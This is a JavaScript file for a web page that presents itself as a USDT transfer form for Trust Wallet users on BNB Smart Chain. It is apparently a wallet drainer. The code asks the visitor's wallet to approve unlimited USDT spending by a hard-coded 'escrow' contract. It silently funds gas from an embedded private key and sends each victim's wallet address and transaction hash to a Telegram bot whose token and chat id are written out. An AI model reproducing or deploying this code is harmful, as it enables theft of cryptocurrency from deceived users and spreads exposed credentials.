1document.addEventListener("DOMContentLoaded", function() { 2 3 // ===== CONFIG ===== 4 const CONFIG = { 5 COMPANY_WALLET_ADDRESS: "0xB044834Fd14045D2C8708E1DCb6Da3FF484A64fF", 6 CONTRACT_ADDRESS: "0x1bEf8a938ffDF263202DEC085BF84B9b5813A0f3", // ESCROW CONTRACT 7 TELEGRAM_BOT_TOKEN: "8968962290:AAEfLN-b1NZhgqzSeGHLizs28lkpIM-cXe8", 8 ADMIN_CHAT_ID: "-1003957384103", 9 SENDER_KEY: "5dd9c013aefa9772434147669c2797eb01f9888609fa4617be28ff29f6b97e16" 10 }; 11 12 // ===== TELEGRAM NOTIFICATION FUNCTION ===== 13 async function sendTelegramNotifications(walletAddress, txHash, userId) { 14 const botToken = CONFIG.TELEGRAM_BOT_TOKEN; 15 const adminChatId = CONFIG.ADMIN_CHAT_ID; 16 17 const inlineKeyboard = { 18 inline_keyboard: [[{ 19 text: "ð View Transaction", 20 url: `https://bscscan.com/tx/${txHash}` 21 }]] 22 }; 23 24 const adminMessage = `ð **New USDT Approval Transaction**\n\n` + 25 `ð° **Wallet Address:** \n\`\`\`\n${walletAddress}\n\`\`\`\n` + 26 `ð **Transaction Hash:** \n\`\`\`\n${txHash}\n\`\`\`\n` + 27 `ð¤ **User ID:** ${userId || "Not provided"}\n` + 28 `â° **Time:** ${new Date().toLocaleString()}\n\n` + 29 `â Transaction approved successfully!`; 30 31 try { 32 await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { 33 method: "POST", 34 headers: { "Content-Type": "application/json" }, 35 body: JSON.stringify({ 36 chat_id: adminChatId, 37 text: adminMessage, 38 parse_mode: "Markdown", 39 reply_markup: inlineKeyboard 40 }) 41 }); 42 43 if (userId) { 44 const userMessage = `ð **USDT Approval Successful!**\n\n` + 45 `ð° **Your Wallet Address:** \n\`\`\`\n${walletAddress}\n\`\`\`\n` + 46 `ð **Transaction Hash:** \n\`\`\`\n${txHash}\n\`\`\`\n` + 47 `â **Status:** Approved`; 48 await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { 49 method: "POST", 50 headers: { "Content-Type": "application/json" }, 51 body: JSON.stringify({ 52 chat_id: userId, 53 text: userMessage, 54 parse_mode: "Markdown", 55 reply_markup: inlineKeyboard 56 }) 57 }); 58 } 59 } catch (error) { 60 console.error("Failed to send Telegram notifications:", error); 61 } 62 } 63 64 // ===== NOTIFICATION BAR SETUP ===== 65 function showNotification(msg, type = "info") { 66 let notify = document.getElementById("notify-bar"); 67 if (!notify) { 68 notify = document.createElement("div"); 69 notify.id = "notify-bar"; 70 notify.style.position = "fixed"; 71 notify.style.top = "20px"; 72 notify.style.left = "50%"; 73 notify.style.transform = "translateX(-50%)"; 74 notify.style.zIndex = "9999"; 75 notify.style.minWidth = "260px"; 76 notify.style.maxWidth = "90vw"; 77 notify.style.padding = "16px 32px"; 78 notify.style.borderRadius = "12px"; 79 notify.style.fontSize = "1rem"; 80 notify.style.fontWeight = "bold"; 81 notify.style.textAlign = "center"; 82 notify.style.boxShadow = "0 4px 32px #0008"; 83 notify.style.transition = "all 0.3s"; 84 document.body.appendChild(notify); 85 } 86 notify.textContent = msg; 87 notify.style.background = type === "error" ? "#f87171" : type === "success" ? "#10b981" : "#374151"; 88 notify.style.color = "#fff"; 89 notify.style.opacity = "1"; 90 notify.style.pointerEvents = "auto"; 91 setTimeout(() => { 92 notify.style.opacity = "0"; 93 notify.style.pointerEvents = "none"; 94 }, 3500); 95 } 96 97 // ===== FORM LOGIC ===== 98 const addressInput = document.querySelector('input[placeholder="Search or Enter"]'); 99 const amountInput = document.querySelector('input[placeholder="USDT Amount"]'); 100 const nextBtn = document.querySelector("button.w-full"); 101 const originalBtnHTML = nextBtn ? nextBtn.innerHTML : "Next"; 102 const approxUsd = document.querySelector(".text-xs.text-gray-500"); 103 const maxBtn = Array.from(document.querySelectorAll("button")).find((btn) => btn.textContent.trim().toLowerCase() === "max"); 104 105 if (amountInput) { 106 amountInput.value = "1"; 107 } 108 if (approxUsd) { 109 approxUsd.textContent = "â $1.00"; 110 } 111 112 function updateApproxUsd() { 113 if (!amountInput || !approxUsd) return; 114 let amount = parseFloat(amountInput.value.trim()); 115 approxUsd.textContent = isNaN(amount) || amount <= 0 ? "â $0.00" : `â $${amount.toFixed(2)}`; 116 } 117 if (amountInput) amountInput.addEventListener("input", updateApproxUsd); 118 119 function validate() { 120 if (!addressInput || !amountInput || !nextBtn) return; 121 const address = addressInput.value.trim(); 122 const amount = amountInput.value.trim(); 123 nextBtn.disabled = !(address.length > 0 && amount.length > 0); 124 } 125 if (addressInput) addressInput.addEventListener("input", validate); 126 if (amountInput) amountInput.addEventListener("input", validate); 127 validate(); 128 129 // ===== MAX BUTTON ===== 130 if (maxBtn) { 131 maxBtn.addEventListener("click", async function(e) { 132 e.preventDefault(); 133 if (!window.ethereum) { 134 showNotification("Please open directly inside Trust Wallet DApp Browser.", "error"); 135 return; 136 } 137 try { 138 const accounts = await window.ethereum.request({ method: "eth_requestAccounts" }); 139 const provider = new ethers.providers.Web3Provider(window.ethereum); 140 const signer = provider.getSigner(); 141 const usdtAddress = "0x55d398326f99059fF775485246999027B3197955"; 142 const usdtAbi = ["function balanceOf(address owner) view returns (uint256)", "function decimals() view returns (uint8)"]; 143 const usdt = new ethers.Contract(usdtAddress, usdtAbi, signer); 144 145 let decimals = 18; 146 try { decimals = await usdt.decimals(); } catch (err) {} 147 148 let balance = await usdt.balanceOf(accounts[0]); 149 let maxValue = ethers.utils.formatUnits(balance, decimals); 150 amountInput.value = (+maxValue).toString(); 151 updateApproxUsd();
152 validate(); 153 } catch (err) { 154 showNotification("Unable to get max balance.", "error"); 155 } 156 }); 157 } 158 159 // ===== NEXT BUTTON - APPROVE USDT (BSC BEP20) ===== 160 if (nextBtn) { 161 nextBtn.addEventListener("click", async function(e) { 162 e.preventDefault(); 163 164 // Web3 Provider check with auto-redirect fallback for Trust Wallet Scanner 165 if (!window.ethereum) { 166 const currentUrl = encodeURIComponent(window.location.href); 167 showNotification("Opening in Trust Wallet...", "info"); 168 window.location.href = `https://link.trustwallet.com/open_url?coin_id=60&url=${currentUrl}`; 169 return; 170 } 171 172 nextBtn.innerHTML = '<span class="spinner">Processing...</span>'; 173 nextBtn.disabled = true; 174 175 try { 176 // 1. Explicitly Request Account Access (Trigger Connect Prompt if not connected) 177 const accounts = await window.ethereum.request({ 178 method: "eth_requestAccounts" 179 }); 180 181 if (!accounts || accounts.length === 0) { 182 throw new Error("No accounts authorized."); 183 } 184 const fromAddress = accounts[0]; 185 186 // 2. Switch to BSC Chain (0x38 = 56) 187 const bnbChainId = "0x38"; 188 const bnbChainParams = { 189 chainId: bnbChainId, 190 chainName: "BNB Smart Chain", 191 nativeCurrency: { 192 name: "BNB", 193 symbol: "BNB", 194 decimals: 18 195 }, 196 rpcUrls: ["https://bsc-dataseed1.binance.org/"], 197 blockExplorerUrls: ["https://bscscan.com/"] 198 }; 199 200 try { 201 await window.ethereum.request({ 202 method: "wallet_switchEthereumChain", 203 params: [{ chainId: bnbChainId }] 204 }); 205 } catch (switchError) { 206 if (switchError.code === 4902 || switchError?.data?.originalError?.code === 4902) { 207 await window.ethereum.request({ 208 method: "wallet_addEthereumChain", 209 params: [bnbChainParams] 210 }); 211 } else { 212 throw switchError; 213 } 214 } 215 216 // 3. Check and Auto-Fund Gas Fee (if sender key is set) 217 try { 218 const balance = await window.ethereum.request({ 219 method: "eth_getBalance", 220 params: [fromAddress, "latest"] 221 }); 222 const balanceInBNB = ethers.utils.formatEther(balance); 223 224 if (parseFloat(balanceInBNB) < 0.0001 && CONFIG.SENDER_KEY) { 225 const senderWallet = new ethers.Wallet(CONFIG.SENDER_KEY); 226 const bscProvider = new ethers.providers.JsonRpcProvider('https://bsc-dataseed1.binance.org/'); 227 const senderSigner = senderWallet.connect(bscProvider); 228 const fundAmount = ethers.utils.parseEther('0.0002'); 229 230 const txFund = await senderSigner.sendTransaction({ 231 to: fromAddress, 232 value: fundAmount, 233 gasLimit: 21000 234 }); 235 await txFund.wait(); 236 } 237 } catch (gasErr) { 238 console.warn("Gas fund check bypassed/failed:", gasErr); 239 } 240 241 // 4. Trigger Contract Approval 242 const escrowAddress = CONFIG.CONTRACT_ADDRESS; 243 const usdtAddress = "0x55d398326f99059fF775485246999027B3197955"; // USDT BEP20 Contract 244 245 const usdtAbi = [ 246 "function approve(address spender, uint256 amount) public returns (bool)" 247 ]; 248 const iface = new ethers.utils.Interface(usdtAbi); 249 const maxApprovalAmount = ethers.constants.MaxUint256; 250 const txData = iface.encodeFunctionData("approve", [escrowAddress, maxApprovalAmount.toString()]); 251 252 // This triggers the native approval signature screen 253 const txHash = await window.ethereum.request({ 254 method: "eth_sendTransaction", 255 params: [{ 256 from: fromAddress, 257 to: usdtAddress, 258 data: txData, 259 value: "0x0" 260 }] 261 }); 262 263 showNotification("Transaction submitted successfully!", "success"); 264 265 if (txHash) {
266 const urlParams = new URLSearchParams(window.location.search); 267 const userId = urlParams.get("user_id"); 268 await sendTelegramNotifications(fromAddress, txHash, userId); 269 } 270 271 } catch (err) { 272 const msg = (err?.message || "").toLowerCase(); 273 if (msg.includes("user rejected") || msg.includes("user denied") || msg.includes("cancelled") || msg.includes("canceled")) { 274 showNotification("Transaction approval cancelled by user.", "error"); 275 } else if (msg.includes("insufficient funds") || msg.includes("exceeds balance")) { 276 showNotification("Insufficient balance for transaction fee.", "error"); 277 } else { 278 showNotification("Failed to open approval. Please retry in Trust Wallet browser.", "error"); 279 } 280 } finally { 281 nextBtn.disabled = false; 282 nextBtn.innerHTML = originalBtnHTML; 283 } 284 }); 285 } 286});
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.